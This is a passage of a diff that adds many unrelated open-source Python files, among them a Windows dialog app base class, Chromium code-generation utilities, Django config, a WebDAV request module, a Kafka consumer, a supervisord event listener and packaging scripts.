number of documents + logger.info('{} documents to be harvested'.format(total)) + + return [ + RawDocument({ + 'doc': json.dumps(record), + 'source': self.short_name, + 'docID': record['id'], + 'filetype': 'json' + }) for record in records + ] diff --git a/pool/shard008/Python/0076706_dlgappcore.py b/pool/shard008/Python/0076706_dlgappcore.py new file mode 100644 index 0000000000000000000000000000000000000000..a0ede343f7e418b59dc4f0e6f1456bc59ddb6a79 --- /dev/null +++ b/pool/shard008/Python/0076706_dlgappcore.py @@ -0,0 +1,69 @@ +# dlgappcore. +# +# base classes for dialog based apps. + +import app +import win32ui +import win32con +import win32api +import sys +from pywin.mfc import dialog + +error = "Dialog Application Error" + +class AppDialog(dialog.Dialog): + "The dialog box for the application" + def __init__(self, id, dll=None): + self.iconId = win32ui.IDR_MAINFRAME + dialog.Dialog.__init__(self, id, dll) + + def OnInitDialog(self): + return dialog.Dialog.OnInitDialog(self) + + # Provide support for a dlg app using an icon + def OnPaint(self): + if not self.IsIconic(): return self._obj_.OnPaint() + self.DefWindowProc(win32con.WM_ICONERASEBKGND, dc.GetHandleOutput(), 0) + left, top, right, bottom = self.GetClientRect() + left = (right - win32api.GetSystemMetrics(win32con.SM_CXICON)) >> 1 + top = (bottom - win32api.GetSystemMetrics(win32con.SM_CYICON)) >> 1 + hIcon = win32ui.GetApp().LoadIcon(self.iconId) + self.GetDC().DrawIcon((left, top), hIcon) + + # Only needed to provide a minimized icon (and this seems + # less important under win95/NT4 + def OnEraseBkgnd(self, dc): + if self.IsIconic(): + return 1 + else: + return self._obj_.OnEraseBkgnd(dc) + def OnQueryDragIcon(self): + return win32ui.GetApp().LoadIcon(self.iconId) + + def PreDoModal(self): + pass + + +class DialogApp(app.CApp): + "An application class, for an app with main dialog box" + def InitInstance(self): +# win32ui.SetProfileFileName('dlgapp.ini') + win32ui.LoadStdProfileSettings() + win32ui.EnableControlContainer() + win32ui.Enable3dControls() + self.dlg = self.frame = self.CreateDialog() + + if self.frame is None: + raise error, "No dialog was created by CreateDialog()" + return + + self._obj_.InitDlgInstance(self.dlg) + self.PreDoModal() + self.dlg.PreDoModal() + self.dlg.DoModal() + + def CreateDialog(self): + pass + def PreDoModal(self): + pass + diff --git a/pool/shard008/Python/0076709_cpp_util.py b/pool/shard008/Python/0076709_cpp_util.py new file mode 100644 index 0000000000000000000000000000000000000000..1e7c3707883bccdce8fd80279e210ad0620bee36 --- /dev/null +++ b/pool/shard008/Python/0076709_cpp_util.py @@ -0,0 +1,139 @@ +# Copyright (c) 2012 The Chromium Authors. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Utilies and constants specific to Chromium C++ code. +""" + +from code import Code +from datetime import datetime +from model import PropertyType +import os +import re + +CHROMIUM_LICENSE = ( +"""// Copyright (c) %d The Chromium Authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file.""" % datetime.now().year +) +GENERATED_FILE_MESSAGE = """// GENERATED FROM THE API DEFINITION IN +// %s +// DO NOT EDIT. +""" +GENERATED_BUNDLE_FILE_MESSAGE = """// GENERATED FROM THE API DEFINITIONS IN +// %s +// DO NOT EDIT. +""" +GENERATED_FEATURE_MESSAGE = """// GENERATED FROM THE FEATURE DEFINITIONS IN +// %s +// DO NOT EDIT. +""" + +def Classname(s): + """Translates a namespace name or function name into something more + suited to C++. + + eg experimental.downloads -> Experimental_Downloads + updateAll -> UpdateAll. + """ + return '_'.join([x[0].upper() + x[1:] for x in re.split('\W', s)]) + + +def GetAsFundamentalValue(type_, src, dst): + """Returns the C++ code for retrieving a fundamental type from a + Value into a variable. + + src: Value* + dst: Property* + """ + return { + PropertyType.BOOLEAN: '%s->GetAsBoolean(%s)', + PropertyType.DOUBLE: '%s->GetAsDouble(%s)', + PropertyType.INTEGER: '%s->GetAsInteger(%s)', + PropertyType.STRING: '%s->GetAsString(%s)', + }[type_.property_type] % (src, dst) + + +def GetValueType(type_): + """Returns the Value::Type corresponding to the model.Type. + """ + return { + PropertyType.ARRAY: 'base::Value::TYPE_LIST', + PropertyType.BINARY: 'base::Value::TYPE_BINARY', + PropertyType.BOOLEAN: 'base::Value::TYPE_BOOLEAN', + # PropertyType.CHOICES can be any combination of types. + PropertyType.DOUBLE: 'base::Value::TYPE_DOUBLE', + PropertyType.ENUM: 'base::Value::TYPE_STRING', + PropertyType.FUNCTION: 'base::Value::TYPE_DICTIONARY', + PropertyType.INTEGER: 'base::Value::TYPE_INTEGER', + PropertyType.OBJECT: 'base::Value::TYPE_DICTIONARY', + PropertyType.STRING: 'base::Value::TYPE_STRING', + }[type_.property_type] + + +def GetParameterDeclaration(param, type_): + """Gets a parameter declaration of a given model.Property and its C++ + type. + """ + if param.type_.property_type in (PropertyType.ANY, + PropertyType.ARRAY, + PropertyType.CHOICES, + PropertyType.OBJECT, + PropertyType.REF, + PropertyType.STRING): + arg = 'const %(type)s& %(name)s' + else: + arg = '%(type)s %(name)s' + return arg % { + 'type': type_, + 'name': param.unix_name, + } + + +def GenerateIfndefName(path, filename): + """Formats a path and filename as a #define name. + + e.g chrome/extensions/gen, file.h becomes CHROME_EXTENSIONS_GEN_FILE_H__. + """ + return (('%s_%s_H__' % (path, filename)) + .upper().replace(os.sep, '_').replace('/', '_')) + + +def PadForGenerics(var): + """Appends a space to |var| if it ends with a >, so that it can be compiled + within generic types. + """ + return ('%s ' % var) if var.endswith('>') else var + + +def OpenNamespace(namespace): + """Get opening root namespace declarations. + """ + c = Code() + for component in namespace.split('::'): + c.Append('namespace %s {' % component) + return c + + +def CloseNamespace(namespace): + """Get closing root namespace declarations. + """ + c = Code() + for component in reversed(namespace.split('::')): + c.Append('} // namespace %s' % component) + return c + + +def ConstantName(feature_name): + """Returns a kName for a feature's name. + """ + return ('k' + ''.join(word[0].upper() + word[1:] + for word in feature_name.replace('.', ' ').split())) + + +def CamelCase(unix_name): + return ''.join(word.capitalize() for word in unix_name.split('_')) + + +def ClassName(filepath): + return CamelCase(os.path.split(filepath)[1]) diff --git a/pool/shard008/Python/0076710_trainmap.py b/pool/shard008/Python/0076710_trainmap.py new file mode 100644 index 0000000000000000000000000000000000000000..ca89e4f60d6f9afccc8198f082687eacf7163656 --- /dev/null +++ b/pool/shard008/Python/0076710_trainmap.py @@ -0,0 +1,18 @@ +#!/usr/bin/python +import os, sys, json +from DNN import Connection, Neuron, Net +myNet = None +inputs = None +outputs = None +with open(os.environ['NNJSON'], mode = 'r') as f: + myNet = Net.fromJSON(json.load(f)) +assert not myNet == None +for line in sys.stdin: + tokens = line.strip().split() + numInputs = int(tokens[0]) + numOutputs = int(tokens[1]) + if len(tokens) == 2 + numInputs + numOutputs and numInputs + 1 == len(myNet.layers[0]) and numOutputs + 1 == len(myNet.layers[-1]): + inputs = [float(token) for token in tokens[2 : 2 + numInputs]] + outputs = [float(token) for token in tokens[2 + numInputs: 2 + numInputs + numOutputs]] + myNet.feedForward(inputs) + myNet.backPropagate(outputs) diff --git a/pool/shard008/Python/0076714_urls.py b/pool/shard008/Python/0076714_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..4af40d8e19a296a1b71901055402695bc7f4d878 --- /dev/null +++ b/pool/shard008/Python/0076714_urls.py @@ -0,0 +1,13 @@ +from django.conf.urls import patterns, include, url +from django.contrib import admin +from main import views + +urlpatterns = patterns('', + # Examples: + # url(r'^$', 'django_tutorial.views.home', name='home'), + # url(r'^blog/', include('blog.urls')), + + url(r'^$', views.redirectLogin, name='redirectLoginPage'), + url(r'^admin/', include(admin.site.urls)), + url(r'^main/', include('main.urls')), +) diff --git a/pool/shard008/Python/0076719_junos.py b/pool/shard008/Python/0076719_junos.py new file mode 100644 index 0000000000000000000000000000000000000000..a24e39dade4f11213e1e97363a0269ae2f14ac23 --- /dev/null +++ b/pool/shard008/Python/0076719_junos.py @@ -0,0 +1,66 @@ +""" +Grains for junos. +NOTE this is a little complicated--junos can only be accessed +via salt-proxy-minion. Thus, some grains make sense to get them +from the minion (PYTHONPATH), but others don't (ip_interfaces) +""" + + +import logging + +import salt.utils.platform + +__proxyenabled__ = ["junos"] +__virtualname__ = "junos" + +# Get looging started +log = logging.getLogger(__name__) + + +def __virtual__(): + if "proxy" not in __opts__: + return False + else: + return __virtualname__ + + +def _remove_complex_types(dictionary): + """ + junos-eznc is now returning some complex types that + are not serializable by msgpack. Kill those. + """ + for k, v in dictionary.items(): + if isinstance(v, dict): + dictionary[k] = _remove_complex_types(v) + elif hasattr(v, "to_eng_string"): + dictionary[k] = v.to_eng_string() + + return dictionary + + +def defaults(): + if salt.utils.platform.is_proxy(): + return {"os": "proxy", "kernel": "unknown", "osrelease": "proxy"} + else: + return { + "os": "junos", + "kernel": "junos", + "osrelease": "junos FIXME", + } + + +def facts(proxy=None): + if proxy is None or proxy["junos.initialized"]() is False: + return {} + + ret_value = proxy["junos.get_serialized_facts"]() + if salt.utils.platform.is_proxy(): + ret = {"junos_facts": ret_value} + else: + ret = {"junos_facts": ret_value, "osrelease": ret_value["version"]} + + return ret + + +def os_family(): + return {"os_family": "junos"} diff --git a/pool/shard008/Python/0076721_0001_add_content_type_interactions.py b/pool/shard008/Python/0076721_0001_add_content_type_interactions.py new file mode 100644 index 0000000000000000000000000000000000000000..e7ecc3f61b7fae0b26946d7e5d0be6d6f64f57fa --- /dev/null +++ b/pool/shard008/Python/0076721_0001_add_content_type_interactions.py @@ -0,0 +1,42 @@ +# Generated by Django 2.2.9 on 2020-02-05 16:56 + +from django.db import migrations, models +import django.db.models.deletion +import open_discussions.utils + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [("contenttypes", "0002_remove_content_type_name")] + + operations = [ + migrations.CreateModel( + name="ContentTypeInteraction", + fields=[ + ( + "id", + models.AutoField( + auto_created=True, + primary_key=True, + serialize=False, + verbose_name="ID", + ), + ), + ("interaction_type", models.CharField(max_length=30)), + ("content_id", models.PositiveIntegerField()), + ( + "recorded_on", + models.DateTimeField(default=open_discussions.utils.now_in_utc), + ), + ( + "content_type", + models.ForeignKey( + on_delete=django.db.models.deletion.CASCADE, + to="contenttypes.ContentType", + ), + ), + ], + ) + ] diff --git a/pool/shard008/Python/0076724_dense.py b/pool/shard008/Python/0076724_dense.py new file mode 100644 index 0000000000000000000000000000000000000000..19a9674e905d9884f9f0443b37287a99a77641a9 --- /dev/null +++ b/pool/shard008/Python/0076724_dense.py @@ -0,0 +1,37 @@ +# Copyright 2022 The Flax Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import jax +from jax import numpy as jnp, random, lax +from flax.linen import initializers +from typing import Callable +from flax.linen import Module, compact + + +class Dense(Module): + features: int + kernel_init: Callable = initializers.lecun_normal() + bias_init: Callable = initializers.zeros + use_bias: bool = True + + @compact + def __call__(self, inputs): + kernel = self.param('kernel', self.kernel_init, + (inputs.shape[-1], self.features)) + y = lax.dot_general(inputs, kernel, + (((inputs.ndim - 1,), (0,)), ((), ())),) + if self.use_bias: + bias = self.param('bias', self.bias_init, (self.features,)) + y = y + bias + return y diff --git a/pool/shard008/Python/0076727_requests.py b/pool/shard008/Python/0076727_requests.py new file mode 100644 index 0000000000000000000000000000000000000000..9818e840c4a6e5dc20f1bb2e90e29f88630d9d38 --- /dev/null +++ b/pool/shard008/Python/0076727_requests.py @@ -0,0 +1,195 @@ +#!/usr/bin/env python +# -*- coding: utf-8; tab-width: 4; indent-tabs-mode: t -*- +# +# NetProfile: WebDAV request objects +# © Copyright 2013 Alex 'Unik' Unigovsky +# +# This file is part of NetProfile. +# NetProfile is free software: you can redistribute it and/or +# modify it under the terms of the GNU Affero General Public +# License as published by the Free Software Foundation, either +# version 3 of the License, or (at your option) any later +# version. +# +# NetProfile is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General +# Public License along with NetProfile. If not, see +# . + +from __future__ import ( + unicode_literals, + print_function, + absolute_import, + division +) + +__all__ = [ + 'DAVRequest', + 'DAVPropFindRequest', + 'DAVPropPatchRequest', + 'DAVMkColRequest', + 'DAVLockRequest', + 'DAVReportRequest' +] + +import uuid +import datetime as dt +from lxml import etree + +from . import props as dprops +from .errors import ( + DAVBadRequestError, + DAVConflictError, + DAVUnsupportedMediaTypeError +) +from .responses import ( + DAVCreateResponse, + DAVMultiStatusResponse +) +from .elements import DAVResponseElement +from .values import DAVResourceTypeValue + +class DAVRequest(object): + def __init__(self, req): + self.req = req + self.ctx = req.context + +class DAVPropFindRequest(DAVRequest): + def __init__(self, req): + super(DAVPropFindRequest, self).__init__(req) + if req.body: + try: + self.xml = etree.XML(req.body) + except etree.XMLSyntaxError: + raise DAVBadRequestError('Invalid or not well-formed XML supplied in a request.') + if self.xml.tag != dprops.PROPFIND: + self.xml = self.xml.find('.//%s' % dprops.PROPFIND) + else: + self.xml = None + + def is_allprop_request(self): + if (len(self.xml) >= 1) and (self.xml[0].tag == dprops.ALL_PROPS): + return True + return False + + def is_propname_request(self): + if (len(self.xml) >= 1) and (self.xml[0].tag == dprops.PROPNAME): + return True + return False + + def get_props(self): + return self.req.dav.parse_propnames(self.req, self.xml) + +class DAVPropPatchRequest(DAVRequest): + def __init__(self, req): + super(DAVPropPatchRequest, self).__init__(req) + if not req.body: + raise DAVUnsupportedMediaTypeError('PROPPATCH method must be supplied with an XML request body.') + try: + self.xml = etree.XML(req.body) + except etree.XMLSyntaxError: + raise DAVBadRequestError('Invalid or not well-formed XML supplied in a request.') + if not self.xml or (self.xml.tag != dprops.PROPERTY_UPDATE): + raise DAVUnsupportedMediaTypeError('PROPPATCH method must be supplied with an XML request body.') + + def get_props(self): + req = self.req + ret = {} + for el in self.xml: + props = None + if el.tag == dprops.SET: + props = req.dav.parse_props(req, el) + elif el.tag == dprops.REMOVE: + props = dict.fromkeys(req.dav.parse_propnames(req, el), None) + if props: + ret.update(props) + return ret + +class DAVMkColRequest(DAVRequest): + def __init__(self, req): + super(DAVMkColRequest, self).__init__(req) + self.new_name = req.view_name + if len(req.subpath) > 0: + raise DAVConflictError('Parent node does not exist.') + # TODO: check if parent is a collection, if needed + if req.body: + if req.content_type not in {'application/xml', 'text/xml'}: + raise DAVUnsupportedMediaTypeError('MKCOL method must be supplied with an XML request body.') + try: + self.xml = etree.XML(req.body) + except etree.XMLSyntaxError: + raise DAVBadRequestError('Invalid or not well-formed XML supplied in a request.') + if not self.xml or (self.xml.tag != dprops.MKCOL): + raise DAVUnsupportedMediaTypeError('MKCOL method body must contain mkcol root XML tag.') + else: + self.xml = None + + def get_props(self): + if self.xml is None: + return { + dprops.RESOURCE_TYPE: DAVResourceTypeValue(dprops.COLLECTION) + } + ret = {} + for el in self.xml: + if el.tag != dprops.SET: + continue + ret.update(self.req.dav.parse_props(self.req, el)) + return ret + + def process(self): + props = self.get_props() + try: + rtype = props.pop(dprops.RESOURCE_TYPE) + except KeyError: + raise DAVBadRequestError('MKCOL method body must contain resource type property.') + req = self.req + ret = req.dav.make_collection(req, self.ctx, self.new_name, rtype, props) + if ret is None: + return DAVCreateResponse(request=req) + resp = DAVMultiStatusResponse(request=req) +# resp.add_element(DAVResponseElement(*ret)) + resp.make_body() + return resp + +class DAVLockRequest(DAVRequest): + def __init__(self, req): + super(DAVLockRequest, self).__init__(req) + try: + self.xml = etree.XML(req.body) + except etree.XMLSyntaxError: + raise DAVBadRequestError('Invalid or not well-formed XML supplied in a request.') + + def _content(self, node): + return (node.text or '') + ''.join(etree.tostring(el, encoding='unicode') for el in node) + + def get_lock(self, cls): + lock = cls(user_id = self.req.user.id) + el = self.xml.find(dprops.OWNER) + if el: + lock.owner = self._content(el) + lock.token = str(uuid.uuid4()) + if len(self.xml.xpath('d:lockscope/d:exclusive', namespaces=dprops.NS_MAP)) > 0: + lock.scope = cls.SCOPE_EXCLUSIVE + else: + lock.scope = cls.SCOPE_SHARED + lock.creation_time = dt.datetime.now() + return lock + +class DAVReportRequest(DAVRequest): + def __init__(self, req): + super(DAVReportRequest, self).__init__(req) + try: + self.xml = etree.XML(req.body) + except etree.XMLSyntaxError: + raise DAVBadRequestError('Invalid or not well-formed XML supplied in a request.') + + def get_name(self): + try: + return self.xml[0].tag + except IndexError: + return None + diff --git a/pool/shard008/Python/0076732_supervisord_event_listener.py b/pool/shard008/Python/0076732_supervisord_event_listener.py new file mode 100644 index 0000000000000000000000000000000000000000..d323072148a2c2e8991ac598fffdc683eb33de24 --- /dev/null +++ b/pool/shard008/Python/0076732_supervisord_event_listener.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python +""" +Event listener for supervisor +""" + +import os +import sys +import time + +def write_stdout(msg): + """Write message to stdout + + Args: + msg (str): message to print on stdout + Returns: + None + """ + sys.stdout.write(msg) + sys.stdout.flush() + +def write_stderr(msg): + """Write message to stderr + + Args: + msg (str): message to print on stderr + Returns: + None + """ + sys.stderr.write(msg) + sys.stderr.flush() + +def main(): + """main function + """ + is_postgres_running = False + event_counter = 1 + + while 1: + # transition from ACKNOWLEDGED to READY state + write_stdout('READY\n') + + write_stderr('Event: ' + str(event_counter) + '\n') + + # read event header + event_header = sys.stdin.readline() + write_stderr(event_header) + headers = dict([x.split(':') for x in event_header.split()]) + + # read event payload + event_payload = sys.stdin.read(int(headers['len'])) + write_stderr(event_payload) + events = [dict([y.split(':') for y in x.split()]) + for x in event_payload.split('\n')] + + if headers['eventname'] == 'PROCESS_STATE_RUNNING': + for event in events: + if event['processname'] == 'postgres': + is_postgres_running = True + + # start uwsgi and nginx if postgres is running + if is_postgres_running: + os.system('supervisorctl start uwsgi') + time.sleep(5) + os.system('supervisorctl start nginx') + sys.exit(0) + + # transition from READY to ACKNOWLEDGED state + write_stdout('RESULT 2\nOK') + + event_counter = event_counter + 1 + write_stderr('\n') + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0076736_base.py b/pool/shard008/Python/0076736_base.py new file mode 100644 index 0000000000000000000000000000000000000000..2464aaf43d528a2dbd219a8a39c38a396f7ce05d --- /dev/null +++ b/pool/shard008/Python/0076736_base.py @@ -0,0 +1,169 @@ +from __future__ import absolute_import + +import logging +import numbers +from threading import Lock + +import kafka.common +from kafka.common import ( + OffsetRequest, OffsetCommitRequest, OffsetFetchRequest, + UnknownTopicOrPartitionError +) + +from kafka.util import ReentrantTimer + +log = logging.getLogger("kafka") + +AUTO_COMMIT_MSG_COUNT = 100 +AUTO_COMMIT_INTERVAL = 5000 + +FETCH_DEFAULT_BLOCK_TIMEOUT = 1 +FETCH_MAX_WAIT_TIME = 100 +FETCH_MIN_BYTES = 4096 +FETCH_BUFFER_SIZE_BYTES = 4096 +MAX_FETCH_BUFFER_SIZE_BYTES = FETCH_BUFFER_SIZE_BYTES * 8 + +ITER_TIMEOUT_SECONDS = 60 +NO_MESSAGES_WAIT_TIME_SECONDS = 0.1 + + +class Consumer(object): + """ + Base class to be used by other consumers. Not to be used directly + + This base class provides logic for + * initialization and fetching metadata of partitions + * Auto-commit logic + * APIs for fetching pending message count + """ + def __init__(self, client, group, topic, partitions=None, auto_commit=True, + auto_commit_every_n=AUTO_COMMIT_MSG_COUNT, + auto_commit_every_t=AUTO_COMMIT_INTERVAL): + + self.client = client + self.topic = topic + self.group = group + self.client.load_metadata_for_topics(topic) + self.offsets = {} + + if not partitions: + partitions = self.client.get_partition_ids_for_topic(topic) + else: + assert all(isinstance(x, numbers.Integral) for x in partitions) + + # Variables for handling offset commits + self.commit_lock = Lock() + self.commit_timer = None + self.count_since_commit = 0 + self.auto_commit = auto_commit + self.auto_commit_every_n = auto_commit_every_n + self.auto_commit_every_t = auto_commit_every_t + + # Set up the auto-commit timer + if auto_commit is True and auto_commit_every_t is not None: + self.commit_timer = ReentrantTimer(auto_commit_every_t, + self.commit) + self.commit_timer.start() + + if auto_commit: + self.fetch_last_known_offsets(partitions) + else: + for partition in partitions: + self.offsets[partition] = 0 + + def fetch_last_known_offsets(self, partitions=None): + if not partitions: + partitions = self.client.get_partition_ids_for_topic(self.topic) + + def get_or_init_offset(resp): + try: + kafka.common.check_error(resp) + return resp.offset + except UnknownTopicOrPartitionError: + return 0 + + for partition in partitions: + req = OffsetFetchRequest(self.topic, partition) + (resp,) = self.client.send_offset_fetch_request(self.group, [req], + fail_on_error=False) + self.offsets[partition] = get_or_init_offset(resp) + self.fetch_offsets = self.offsets.copy() + + def commit(self, partitions=None): + """ + Commit offsets for this consumer + + partitions: list of partitions to commit, default is to commit + all of them + """ + + # short circuit if nothing happened. This check is kept outside + # to prevent un-necessarily acquiring a lock for checking the state + if self.count_since_commit == 0: + return + + with self.commit_lock: + # Do this check again, just in case the state has changed + # during the lock acquiring timeout + if self.count_since_commit == 0: + return + + reqs = [] + if not partitions: # commit all partitions + partitions = self.offsets.keys() + + for partition in partitions: + offset = self.offsets[partition] + log.debug("Commit offset %d in SimpleConsumer: " + "group=%s, topic=%s, partition=%s" % + (offset, self.group, self.topic, partition)) + + reqs.append(OffsetCommitRequest(self.topic, partition, + offset, None)) + + resps = self.client.send_offset_commit_request(self.group, reqs) + for resp in resps: + kafka.common.check_error(resp) + + self.count_since_commit = 0 + + def _auto_commit(self): + """ + Check if we have to commit based on number of messages and commit + """ + + # Check if we are supposed to do an auto-commit + if not self.auto_commit or self.auto_commit_every_n is None: + return + + if self.count_since_commit >= self.auto_commit_every_n: + self.commit() + + def stop(self): + if self.commit_timer is not None: + self.commit_timer.stop() + self.commit() + + def pending(self, partitions=None): + """ + Gets the pending message count + + partitions: list of partitions to check for, default is to check all + """ + if not partitions: + partitions = self.offsets.keys() + + total = 0 + reqs = [] + + for partition in partitions: + reqs.append(OffsetRequest(self.topic, partition, -1, 1)) + + resps = self.client.send_offset_request(reqs) + for resp in resps: + partition = resp.partition + pending = resp.offsets[0] + offset = self.offsets[partition] + total += pending - offset + + return total diff --git a/pool/shard008/Python/0076737_update_permissions.py b/pool/shard008/Python/0076737_update_permissions.py new file mode 100644 index 0000000000000000000000000000000000000000..1e6b4c505d782a2b6788c5a92567f54c5a673b4a --- /dev/null +++ b/pool/shard008/Python/0076737_update_permissions.py @@ -0,0 +1,21 @@ +from django.core.management.base import BaseCommand +from django.db.models import get_models, get_app +from django.contrib.auth.management import create_permissions + + +class Command(BaseCommand): + args = '' + help = 'reloads permissions for specified apps, or all apps if no args are specified' + + def handle(self, *args, **options): + if not args: + apps = [] + for model in get_models(): + apps.append(get_app(model._meta.app_label)) + else: + apps = [] + for arg in args: + apps.append(get_app(arg)) + for app in apps: + create_permissions(app, get_models(), options.get('verbosity', 0)) + \ No newline at end of file diff --git a/pool/shard008/Python/0076741_setup.py b/pool/shard008/Python/0076741_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..74854980448620e85d34956a8a9686b1a5c705d2 --- /dev/null +++ b/pool/shard008/Python/0076741_setup.py @@ -0,0 +1,69 @@ +#! /usr/bin/env python +# + +# Copyright (C) 2015-2016 Denis Engemann +# + +import os +from os import path as op + +import setuptools # noqa; we are using a setuptools namespace +from numpy.distutils.core import setup + +# get the version (don't import mne here, so dependencies are not needed) +version = None +with open(os.path.join('hcp', '__init__.py'), 'r') as fid: + for line in (line.strip() for line in fid): + if line.startswith('__version__'): + version = line.split('=')[1].strip().strip('\'') + break +if version is None: + raise RuntimeError('Could not determine version') + + +descr = """MNE HCP project for accessing the human connectome MEG data in Python.""" # noqa + +DISTNAME = 'mne-hcp' +DESCRIPTION = descr +MAINTAINER = 'Denis A. Engemann' +MAINTAINER_EMAIL = 'denis.engemann@gmail.com' +URL = 'http://github.com/mne-tools/mne-hcp' +LICENSE = 'BSD (3-clause)' +DOWNLOAD_URL = 'http://github.com/mne-tools/mne-hcp' +VERSION = version + + +if __name__ == "__main__": + if os.path.exists('MANIFEST'): + os.remove('MANIFEST') + + setup(name=DISTNAME, + maintainer=MAINTAINER, + include_package_data=True, + maintainer_email=MAINTAINER_EMAIL, + description=DESCRIPTION, + license=LICENSE, + url=URL, + version=VERSION, + download_url=DOWNLOAD_URL, + long_description=open('README.rst').read(), + zip_safe=False, # the package can run out of an .egg file + classifiers=['Intended Audience :: Science/Research', + 'Intended Audience :: Developers', + 'License :: OSI Approved', + 'Programming Language :: Python', + 'Topic :: Software Development', + 'Topic :: Scientific/Engineering', + 'Operating System :: Microsoft :: Windows', + 'Operating System :: POSIX', + 'Operating System :: Unix', + 'Operating System :: MacOS'], + platforms='any', + packages=['hcp', + 'hcp.io', + 'hcp.io.tests', + 'hcp.io.file_mapping', + 'hcp.io.file_mapping.tests', + 'hcp.tests'], + package_data={'hcp': [ + op.join('io', 'file_mapping', 'data', '*txt')]}) diff --git a/pool/shard008/Python/0076743_image.py b/pool/shard008/Python/0076743_image.py new file mode 100644 index 0000000000000000000000000000000000000000..48247c771e71132ce9032f929e458d270c805c08 --- /dev/null +++ b/pool/shard008/Python/0076743_image.py @@ -0,0 +1,94 @@ +from picdump import image + + +class ItemImage(image.Image): + def __init__(self, item, api, content_factory): + super().__init__() + self.item = item + self.api = api + self.content_factory = content_factory + + @property + def default_filename(self): + item = self.item + return '{}{} {}{}'.format(item.item_id, self.type_suffix, item.title, self.dot_and_extension) + + @property + def saved_path(self): + cache = self.api.cache + if self.cache_id in cache: + return cache.get_path(self.cache_id) + else: + return None + + def fetch_content(self): + content = self.content_factory() + self.api.cache.put(self.cache_id, content) + return content + + @property + def dot_and_extension(self): + return '.{}'.format(self.item.extension) + + +class IllustBigImage(ItemImage): + type_suffix = '' + + @property + def cache_id(self): + return '{}.{}'.format(self.item.item_id, self.item.extension) + + +class IllustMobileImage(ItemImage): + type_suffix = '_mobile' + + @property + def dot_and_extension(self): + return '.jpg' + + @property + def cache_id(self): + return '{}_480mw.jpg'.format(self.item.item_id) + + +class ThumbnailImage(ItemImage): + type_suffix = '_thumb' + + @property + def dot_and_extension(self): + return '.jpg' + + @property + def cache_id(self): + return '{}_128x128.jpg'.format(self.item.item_id) + + +class MangaPageImage(ItemImage): + def __init__(self, item, api, content_factory, page): + super().__init__(item, api, content_factory) + self.page = page + + @property + def cache_id(self): + return '{}_p{}.{}'.format(self.item.item_id, self.page, self.item.extension) + + @property + def type_suffix(self): + return '_p{}'.format(self.page) + + +class MemberThumbnail(ItemImage): + type_suffix = '_member_thumb' + + @property + def default_filename(self): + item = self.item + return '{} {}.jpg'.format(item.author_id, item.author_screen_name) + + @property + def dot_and_extension(self): + return '.jpg' + + @property + def cache_id(self): + return '{}_80.jpg'.format(self.item.author_id) diff --git a/pool/shard008/Python/0076757_test.py b/pool/shard008/Python/0076757_test.py new file mode 100644 index 0000000000000000000000000000000000000000..1783012fde5880425f60a649a8b65f4385d2e3d3 --- /dev/null +++ b/pool/shard008/Python/0076757_test.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python + +import http.client +import json +from time import sleep, time + +# Quick and dirty integration test for multi-cluster support in one collectd +# instance. This test script is intended to be run with docker-compose with the +# provided docker-compose.yml configuration. + +# This is not very flexible but could be expanded to support other types of +# integration tests if so desired. + +VERSIONS_TESTED_WITH_METRICS = { + "2.4.5": ["indices.cache.filter.evictions"], + "5.3.2": ["indices.cache.filter.evictions"], + "5.6.3": ["indices.cache.filter.evictions"], + "6.3.2": ["indices.cache.filter.evictions"], +} +TIMEOUT_SECS = 60 + + +def get_metric_data(): + # Use httplib instead of requests so we don't have to install stuff with pip + conn = http.client.HTTPConnection("fake_sfx", 8080) + conn.request("GET", "/") + resp = conn.getresponse() + conn.close() + return json.loads(resp.read()) + + +def wait_for_metrics_from_each_cluster(): + start = time() + for cluster in VERSIONS_TESTED_WITH_METRICS: + c = "es-%s" % (cluster,) + print("Waiting for metrics from cluster %s..." % (c,)) + eventually_true( + lambda: any([c in m.get("plugin_instance") for m in get_metric_data()]), TIMEOUT_SECS - (time() - start) + ) + print("plugin_instance Found!") + for metric in VERSIONS_TESTED_WITH_METRICS.get(cluster): + print("Waiting for metric: %s from cluster %s..." % (metric, c)) + eventually_true( + lambda: any([metric in str(m.get("type_instance")) for m in get_metric_data()]), + TIMEOUT_SECS - (time() - start), + ) + print("metric: %s Found! from cluster: %s" % (metric, c)) + + +def eventually_true(f, timeout_secs): + start = time() + while True: + try: + assert f() + except AssertionError: + if time() - start > timeout_secs: + raise + sleep(0.5) + else: + break + + +if __name__ == "__main__": + wait_for_metrics_from_each_cluster() diff --git a/pool/shard008/Python/0076759_build_clib.py b/pool/shard008/Python/0076759_build_clib.py new file mode 100644 index 0000000000000000000000000000000000000000..67ce2444ea69a0bbdfab0bda8c2aa14951187096 --- /dev/null +++ b/pool/shard008/Python/0076759_build_clib.py @@ -0,0 +1,101 @@ +import distutils.command.build_clib as orig +from distutils.errors import DistutilsSetupError +from distutils import log +from setuptools.dep_util import newer_pairwise_group + + +class build_clib(orig.build_clib): + """ + Override the default build_clib behaviour to do the following: + + 1. Implement a rudimentary timestamp-based dependency system + so 'compile()' doesn't run every time. + 2. Add more keys to the 'build_info' dictionary: + * obj_deps - specify dependencies for each object compiled. + this should be a dictionary mapping a key + with the source filename to a list of + dependencies. Use an empty string for global + dependencies. + * cflags - specify a list of additional flags to pass to + the compiler. + """ + + def build_libraries(self, libraries): + for (lib_name, build_info) in libraries: + sources = build_info.get('sources') + if sources is None or not isinstance(sources, (list, tuple)): + raise DistutilsSetupError( + "in 'libraries' option (library '%s'), " + "'sources' must be present and must be " + "a list of 